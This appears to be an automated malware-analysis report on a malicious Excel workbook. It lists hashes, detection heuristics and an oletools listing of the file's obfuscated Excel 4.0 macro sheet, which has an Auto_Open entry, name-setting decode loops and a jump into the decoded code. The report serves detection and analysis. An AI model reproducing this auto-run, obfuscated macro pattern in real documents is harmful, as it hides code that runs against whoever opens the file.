Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1981b6e554bb8149…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:47 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: e3d54b210f15d953d06b3f05db5874e0 SHA-1: 7fbc5da3d6f3513ac7980f0084e3bb5dcdbec8d9 SHA-256: 1981b6e554bb81496c48c5155118c29476631c19182f2bf352e86144cb51bcd1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6678 bytes
SHA-256: b839ed1beb0b30ede3059cd72e0f96de81a0fee19c578f2f52f619bb19a6beb0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lydeXU
' 0018     24 LABEL : Cell Value, String Constant - ahdqCPGxe len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B171 
' 0018     20 LABEL : Cell Value, String Constant - CuKUi len=0 
' 0018     20 LABEL : Cell Value, String Constant - dJJGJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - FlsRKqRwClQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - iPWHUHuEjO len=0 
' 0018     22 LABEL : Cell Value, String Constant - JspXMGW len=0 
' 0018     27 LABEL : Cell Value, String Constant - kNCNiUezbpmW len=0 
' 0018     20 LABEL : Cell Value, String Constant - mCVMT len=0 
' 0018     20 LABEL : Cell Value, String Constant - MRWjb len=0 
' 0018     27 LABEL : Cell Value, String Constant - NCGadcPQYdUn len=0 
' 0018     25 LABEL : Cell Value, String Constant - NHiEUhyukk len=0 
' 0018     21 LABEL : Cell Value, String Constant - QKaerE len=0 
' 0018     26 LABEL : Cell Value, String Constant - QNwSRplojNA len=0 
' 0018     24 LABEL : Cell Value, String Constant - raZFZJTdZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - sNGAX len=0 
' 0018     24 LABEL : Cell Value, String Constant - TCabuxull len=0 
' 0018     25 LABEL : Cell Value, String Constant - tHpcvemZkS len=0 
' 0018     26 LABEL : Cell Value, String Constant - vpeGiuKfZlH len=0 
' 0018     25 LABEL : Cell Value, String Constant - xCcoCwNqlq len=0 
' 0018     24 LABEL : Cell Value, String Constant - xNbbmdzLo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lydeXU,B76,"SET.NAME("tHpcvemZkS",0+VALUE("0"))",""
'  lydeXU,B79,"SET.NAME("FlsRKqRwClQ",tHpcvemZkS)",""
'  lydeXU,B82,"SET.NAME("NHiEUhyukk",tHpcvemZkS)",""
'  lydeXU,P82,"",299.00000000000000000000
'  lydeXU,P83,"",-248.00000000000000000000
'  lydeXU,P84,"",-999.00000000000000000000
'  lydeXU,P85,"",340.00000000000000000000
'  lydeXU,B86,"SET.NAME("ahdqCPGxe",COUNTA(xNbbmdzLo))",""
'  lydeXU,P86,"",-316.00000000000000000000
'  lydeXU,P87,"",261.00000000000000000000
'  lydeXU,B90,"SET.NAME("dJJGJ",COUNTA(sNGAX))",""
'  lydeXU,B92,[],""
'  lydeXU,B96,"SET.NAME("QNwSRplojNA","")",""
'  lydeXU,B100,"FlsRKqRwClQ",""
'  lydeXU,B104,"SET.NAME("iPWHUHuEjO",HLOOKUP("*",xNbbmdzLo,FlsRKqRwClQ,FALSE))",""
'  lydeXU,B108,"mCVMT",""
'  lydeXU,B110,"SET.NAME("TCabuxull",tHpcvemZkS)",""
'  lydeXU,B113,[],""
'  lydeXU,B116,"TCabuxull",""
'  lydeXU,B121,"xCcoCwNqlq",""
'  lydeXU,B126,"kNCNiUezbpmW",""
'  lydeXU,B131,"CuKUi",""
'  lydeXU,B133,"SET.NAME("NCGadcPQYdUn",VALUE(HLOOKUP("*",sNGAX,CuKUi,FALSE)))",""
'  lydeXU,B138,"MRWjb",""
'  lydeXU,B140,"QNwSRplojNA",""
'  lydeXU,B144,"NHiEUhyukk",""
'  lydeXU,B147,NEXT(),""
'  lydeXU,B152,"vpeGiuKfZlH",""
'  lydeXU,B157,[],""
'  lydeXU,B161,"JspXMGW",""
'  lydeXU,B164,NEXT(),""
'  lydeXU,B166,RETURN(),""
'  lydeXU,B194,"SET.NAME("raZFZJTdZ",B76)",""
'  lydeXU,B196,"xNbbmdzLo",""
'  lydeXU,B201,"SET.NAME("sNGAX",R40C14)",""
'  lydeXU,B203,"SET.NAME("JspXMGW",212)",""
'  lydeXU,B208,"SET.NAME("QKaerE",2)",""
'  lydeXU,B211,raZFZJTdZ(),""
'  lydeXU,B212,HALT(),""